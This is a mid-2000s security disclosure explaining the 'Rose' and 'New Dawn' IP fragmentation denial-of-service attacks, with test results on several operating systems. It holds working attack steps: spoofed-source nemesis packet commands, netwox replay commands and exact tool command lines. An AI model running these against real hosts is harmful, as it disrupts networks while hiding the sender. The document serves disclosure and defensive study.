This document
is located at the following URLs and will be updated as needed:
Rose_Frag_Attack_Explained.htm
Rose_Frag_Attack_Explained.txt
o Introduction
o Rose Fragmentation Attack
o Rose Fragmentation Attack Tools
o Rose Fragmentation Manual Method
o Rose Attack Conclusions
o New Dawn Fragmentation Attack
o New Dawn Fragmentation Attack Tools
o New Dawn Fragmentation Attack Conclusions
o Attack Results for all attacks
Introduction
=============
The "Rose attack" was conceived from a need to disrupt a network for
my SANS GIAC GCFW practical:
William_Hollis_GCFW.pdf
This attack is a combination of the SYN attack and the "Unknown" ICMP
attack in the GCFW coursework:
http://www.sans.org/local/track2.php
When I looked at these attacks, I realized that the source address and source
port could be spoofed. No TCP handshake was required. In fact I
realized that this attack would work equally well with ICMP, UDP or TCP.
Firewalls do not matter because the packet is never evaluated / seen by the
firewall.
Initially I wondered if I could just send the first and last fragments of a
"large" packet and consume CPU and memory. Most (if not all)
implementations of the IP stack have accounted for this and will only allow
reassembly of a certain number of packets. See the first explanation for
what I found.
I then sent my findings with the below (very manual) method of generating
fragmented packets to Bugtraq. Laurent Constantin was kind enough to write
rose.c making the attack a little more user friendly for testing.
Paul Starzetz mentioned in one of the threads that he knew of issues with
sending lots of intermediary fragments and then rewriting the final fragment
over and over again. Chuck wrote the second variation of the attack that
I call NewDawn.c and NewDawn2.c (named NewDawn to preclude confusion with the
original "Rose attack"). I chose this name because New Dawn is
a particularly thorny and nasty Rose variation:
http://www.au.gardenweb.com/forums/load/roses/msg0621503720247.html
Finally, IPV6 was not tested. IPV6 allows fragmentation and per
the IPv6 attack tools Clem1 has
on his website some or all of the below attacks are applicable to IPV6.
I would like to thank Chris Brenton, Laurent Constantin and Chuck for their
help in putting all of this together.
Rose Fragmentation Attack
=========================
The first attack is fairly simple. Send the first few bytes of a
fragmented packet at offset 0 (More Fragments Bit = 1) and then send a few
bytes at the end of a 64k sized packet (More Fragments Bit = 0). The
placement of the last fragment does not have to be at 64k, this is just an
attempt to use more memory.
Note that if you send with a random source address then the only way to track
down the attack is to trace it hop by hop (router by router) back to the
source.
Source port does not matter because the packet has not "moved up the
stack" yet, so the stack does not validate that the destination port is
even valid. In some cases all legitimate fragmented packets are denied or
impacted (UDP, TCP and ICMP) if you attack a machine in this manner.
When you send enough of these tiny fragments the buffer in the receiving
machine fills waiting for the rest of the fragments to arrive. Legitimate
fragmented packets cannot enter the queue because it is already filled, waiting
for the fragments that will never arrive.
Some implementations of the IP stack drop "old" fragmented packets
that have not completed thus thwarting (to a greater or lesser degree) this
attack.
Rose Fragmentation Attack Tools
===============================
Laurent Constantin was kind enough to program this attack from the below
somewhat unwieldy manual set of instructions (see instruction starting with
"Finally the (very) manual way to implement"). The program can
be found at the following URL:
rose.c
Library netwib must be installed to run rose.c:
http://www.laurentconstantin.com/en/netw/netwib/
http://go.to/laurentconstantin
Mike has implemented the attack in Python. There is a difference in that
the first Packet is at Frag Offset 1 (Byte 4) and the last one at frag Offset
16330 (Byte 65324). This should not make any difference in the attack as
long as the last packet byte is < 65475 (so that this would not look like a
Ping O' Death attack):
http://anyplay.tznetz.com/exploits/rosefrag_py.html
Ventsislav Genchev wrote a perl script to implement this:
http://citadelle.intrinsec.com/mailing/current/HTML/ml_bugtraq/11997.html
Clem1 has compiled some IPv6 attack tools.
One of the tools is for the original Rose Attack:
http://clem1.be/ipv6-attacks/rose.py
Rose Fragmentation Manual Method
================================
Finally the (very) manual way to implement the first attack if you don't have a
compiler :-) :
A = "Attack" computer - Windows 2000, latest service pack and all
patches
B = The computer that is attacked - Windows 2000, latest service pack and all
patches for the purposes of this test assume that the IP of the attacked
computer is 10.32.3.15. Change as needed.
C = outside computer - Windows 2000, latest service pack and all patches
Load WinPcap on computer A:
http://winpcap.polito.it/
Load WinDump on computer A:
http://windump.polito.it/
(You probably don't need to load WinDump, but it is a good utility to have
around)
Load Nemesis on computer A in directory C:\nemesis-1.4beta3>
http://www.packetfactory.net/projects/nemesis/
Load netwox on computer A
http://www.laurentconstantin.com/en/netw/netwox/
Save the files Picmpdata.txt Ptcpdata.txt and Pudpdata.txt in the
C:\nemesis-1.4beta3 directory (see attached). These files are
"sized" correctly to make "legal" fragmented packets.
Ptcpdata.txt
Pudpdata.txt
Picmpdata.txt
Bring Up nemITUrnd.xls:
nemITUrnd.xls
Change the IP Address of the destination machine if needed.
Select the rows, and fill down until you have seven thousand rows of packets
Save as <name>.csv - MS-DOS Comma Separated Text
Rename to <name>.txt
Bring <name>.txt up word. You will see the lines:
nemesis icmp -S 10.,3,.,64,.,121, -D 10.32.3.15 -d1 -i 8 -I ,7242, -P
Picmpdata.txt -FM0,~,nemesis ip -S 10.,3,.,64,.,121, -D 10.32.3.15 -d1 -I
,7242, -p 1 -P Picmpdata.txt -F8100,~,nemesis tcp -S 10.,196,.,212,.,207, -D
10.32.3.15 -d1 -I ,2153, -s ,2494456820, -x ,36961, -y ,63398, -P Ptcpdata.txt
-FM0,~,nemesis ip -S 10.,196,.,212,.,207, -D 10.32.3.15 -d1 -I ,2153, -p 6 -P
Ptcpdata.txt -F8100,~,nemesis udp -S 10.,195,.,74,.,172, -D 10.32.3.15 -d1 -I
,6316, -x ,13253, -y ,20460, -P Pudpdata.txt -FM0,~,nemesis ip -S
10.,195,.,74,.,172, -D 10.32.3.15 -d1 -I ,6316, -p 17 -P Pudpdata.txt -F8100
Change "~" to Paragraph.
Save document and exit
With a big file if you change both the tilde and the comma at the same time Word
crawls to a stop, so save, exit, and bring it back up again to make the change
to the comma.
Bring <name>.txt up in word
Change "," to nothing (I.e. replace "," with "")
Save and Exit
Copy <name>.txt to the directory where you put the nemesis executable:
C:\nemesis-1.4beta3> rename <name>.txt to <name>.bat
Open a cmd in and type the following for the ICMP UDP TCP Big Ping test:
C:\>netwox54 7 -R "hexa" -o nemesispingbig.txt --kbd
f
(dst 10.32.3.15 and (tcp or udp or icmp))
-
Open a cmd in:
C:\nemesis-1.4beta3>
and type:
<name>.bat
Let it run for several hours. You now have about 35,000 packets.
During this test (if your computer A is fast enough) you can see the result by
running a fragmented ping on computer C:
ping -t -l 1600 10.32.3.15
You should see ping Request Time Out messages
Now the real test begins (the previous just generated lots and lots of packets
for you to send out all at once to "attack" the machine, you needed
the attack machine on line to respond to ARP requests during the several hour
test). Start a ping from computer C that is fragmented:
ping -t -l 1600 10.32.3.15
To send all the packets all at once (first open Task Manager on computer B and
watch the CPU utilization):
netwox54 14 -s -f nemesispingbig.txt
Now you should for sure see ping Request Time Out messages on computer C.
This will go on for about 2 minutes then the pings will start running
again.
Rose Attack Conclusions
=======================
If there are enough attacking computers, a brute force attack can completely
congest the bandwidth going to the server. Since the source IP address is
forged tracking down each machine would be painful. This is (of course)
not a new attack, just a consequence of the Rose Attack.
If the target is a slow computer, multiple fragments can spike the CPU up to
100%.
The third effect is that the CPU cannot process legitimate fragmented packets
until the queue for the fragments times out. Since cell phones and
satellite systems use fragmented packets this could be an issue with specific
web sites.
See "Attack Results for all attacks" for the results on different
CPU's from this attack.
New Dawn Fragmentation Attack
=============================
The second attack is a little more complicated. First send the first
fragment at offset 0. Then send intermediate fragments, skip every few
fragments so that the packet is never a complete packet. Finally send the
ending fragment over and over and over again. The CPU expends resources
trying to reassemble all the fragments, but of course it doesn't have them all
yet. On many devices CPU utilization spikes up 30% or up to 100%.
Paul Starzetz gives a nice description:
http://seclists.org/lists/bugtraq/2004/Apr/0107.html
Chuck found that he could spike the CPU of a Windows 2000 machine to 100
percent. Chuck's explanation:
--------------------------------------------------
I have just been playing around with the timing on the second one. What I
have discovered is CPU only spikes for reassembling fragments for packets that
already exist (ie, if you run incre_frag once, then ctrl-c and start again, the
CPU and resources won't go through the moon). Compiles on redhat-9.0.
Chuck further explains:
http://www.lemure.net/updates.php (April 27)
"Rose attack and other such nonsense
Hey guys, wrote two little apps that seem to give windows a bad day.
Pretty much they are variations on the "old school" fragment based
attacks.
Details are here:
Rose_Frag_Attack_Explained.txt
I would like to take the time that I feel a little misunderstood in my quote
there. The second attack I wrote was not the rose attack perse, but
application of what the rose attack presented to me. Basically, windows
will only bother keeping track of fragments representing 100 or less different
IP packets (IP addresses/fragments with different IPID's). What the hell
does this mean? Well, you can keep sending it teeny tiny fragments that
continue to contain those IPIDs and fail miserably to line up properly, thereby
wasting Windows time and forcing it to eat a lot of memory and CPU to keep
track of all those different little pieces. Fun huh?"
---------------------------------------------------
New Dawn Fragmentation Attack Tools
===================================
Chuck's code to spike a Windows machine to 100 percent:
NewDawn.c
NewDawn2.c
I spent some time looking at and trying to compile NewDawn.c and NewDawn2.c but
could not get it to work on a Mandrake 9.2 box, so I took the code from rose.c
and modified it to send tiny intermediate fragments and then re-write the final
fragment to implement the second attack. Those files are:
NewDawn3.c
NewDawn4.c
Clem1 has compiled some IPv6 attack tools.
One of the tools is for New Dawn:
http://clem1.be/ipv6-attacks/newrose.py
New Dawn Fragmentation Attack Conclusions
=========================================
The New Dawn attack is effective at elevating or pegging the CPU on most OSes
that haven't fixed their code to account for this attack. This attack has
caused a NAT device to crash and reboot.
Both the Rose Attack and the New Dawn have been fixed in the latest Linux
Kernel and on the latest Mac OS.
Cisco tells me "Generally speaking, we have features such as rate-limiters
and access lists that are recommended as a best practice to protect against
such DoS attacks.".
See
http://www.cisco.com/en/US/tech/tk827/tk369/technologies_white_paper09186a00800949b8.shtml
Attack Results for all attacks
==============================
The following data was collected from the machines available to me. Send
me more machines and I will test them for you :-). All machines are
patched to the latest & greatest patch level (including XP SP2 for the XP
machine). If you have additional data to fill in this table please send
it to me gandalf@digital.net . Thanks:
CPU | OS | Firewall
| CPU Speed | RAM Mb |
-----|-------------|----------|---------------|--------|
1 |Windows XP |ZoneAlarm | P4 2.5
GHz | 512 |
2 |OS/X 10.3.5 |Built-In |Dual G4 1GHz |
256 |
3 |Windows 2000 |Symantec |PIII 667 MHz | 512
|
4 |Mandrake 10 |Shorewall |PIII 450 MHz | 192
|
5 |Win 2000 Srv |Not On |DualXeon2.4GHz |
1Gb |
6 |Mandrake 9.2 |Shorewall |Pent223MHz/MMX | 128
|
-----|-------------|----------|---------------|--------|
Except for CPU 1, 5 and 6, all machines were "attacked" from a Dell
Latitude CP, 233 MHz machine, 96 Mb RAM, running Mandrake 9.2 (it was the only
machine I have with a C compiler). CPU's 1 and 6 were attacked from a
PIII 450 MHz machine. CPU 5 was attacked from a 366 MHz PII.
Whether or not a firewall was active did not seem to make a difference.
Again, these fragments never make it to layer 4 to be processed by a firewall.
I do not believe that the Linux Kernel v2.6.8-rc4 /net/ipv4/ip_fragment.c code
should look quite so impervious as the below results seem to indicate. It
seems to me a 256 K limit of fragments is a little small for a server with
today's proliferation of T1 and T3 connections, after 256K it drops down to a
192k limit and drops fragments. The code does seem to take care of the
last fragment rewrite by (it appears to me) just adding up the length of the
fragments received in qp->meat and if that equals the length and you receive
the last fragment then the fragment is complete and ready to be reassembled.
I suspect that a test could be devised that would keep the 192k buffer
filled and still stop the machine from processing legitimate packets.
Software for the tests:
The initial Rose Attack (first and last fragment packet of a large packet
sent):
rose.c = rose.c
The second Rose Attack (parts of a fragmented packet are sent, last fragment
repeated many times, 32 byte fragments)
NewDawn3.c = NewDawn3.c
The second Rose Attack (parts of a fragmented packet are sent, last fragment
repeated many times, 8 byte fragments)
NewDawn4.c = NewDawn4.c
(I could never get NewDawn.c
or NewDawn2.c
to work, either piece of that software. So I rewrote the first part of
the code into NewDawn3.c and NewDawn4.c. Chuck tells me that he compiled it on
gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5) Redhat 9 , custom 2.6.2
kernel)
Test | Command Line
-----|---------------------
1 | ./rose 1 <IP Address>
2 | ./NewDawn3 1 <IP Address> 0 5 9999 99999999 1021 8
3 | ./NewDawn3 1 <IP Address> 0 190 9999 99999999 1021 8
4 | ./NewDawn4 1 <IP Address> 0 5 9999 99999999 4000 2
5 | ./NewDawn4 1 <IP Address> 0 50 9999 99999999 4000 2
6 | ./NewDawn4 1 <IP Address> 0 190 9999 99999999 4000 2
CPU| Test 1
|
Test 2 | Test 3
|
---|--------------------------|---------------|---------------|
1 | Legitimate Fragmentation | CPU Util 30% | CPU Util 30% |
| blocked for two minutes | to 50%
| to 50%
|
---|--------------------------|---------------|---------------|
2 | Legitimate Fragmentation | 10% CPU Util | 10% CPU Util |
| no loss
|
on one CPU | on one CPU |
---|--------------------------|---------------|---------------|
3 | Legitimate Fragmentation | 95% CPU Util | 95% CPU Util |
| blocked for two minutes |Packet rewrite |Packet rewrite |
---|--------------------------|---------------|---------------|
4 | Legitimate Fragmentation | about 0% CPU | about 5% CPU |
| No Loss
|
Util Increase | Util Increase |
---|--------------------------|---------------|---------------|
5 | Not run, assume same as |Task Mgr 25%CPU|10% CPU Util
|
| test 1
|Util
but cursor|
|
|
|jerky.
Spikes
|
|
| |to
100% Util
|
|
---|--------------------------|---------------|---------------|
6 | 6 seconds (firewall |100% CPU
Util |100% CPU Util |
| turned off for this
test)| |
|
---|--------------------------|---------------|---------------|
CPU| Test 4 | Test
5 | Test
6 |
---|-----------------|---------------|----------------|
1 | Up to 70% CPU | Up to 100% CPU| Avg 70%
CPU |
| Erratic
| Erratic | Erratic |
---|-----------------|---------------|----------------|
2 |10% CPU Util |10% CPU
Util |10% CPU Util |
---|-----------------|---------------|----------------|
3 |100% CPU Util | Up to 50% Util| Up to 60% Util
|
|Locked Up
Machine| |
|
---|-----------------|---------------|----------------|
4 | about 0% CPU | about 5% CPU | 5% - 10%
CPU |
| Util Increase | Util Increase | Util Increase
|
---|-----------------|---------------|----------------|
5 | Task Mgr 25%CPU |Task Mgr 30%CPU| 10% CPU Util |
| Util but cursor |Util but
cursor|
|
| jerky. Spikes |jerky.
Spikes| |
| to 100% Util |to 100%
Util | |
---|-----------------|---------------|----------------|
6 | 100% CPU Util | 100% CPU Util | 100% CPU Util |
---|-----------------|---------------|----------------|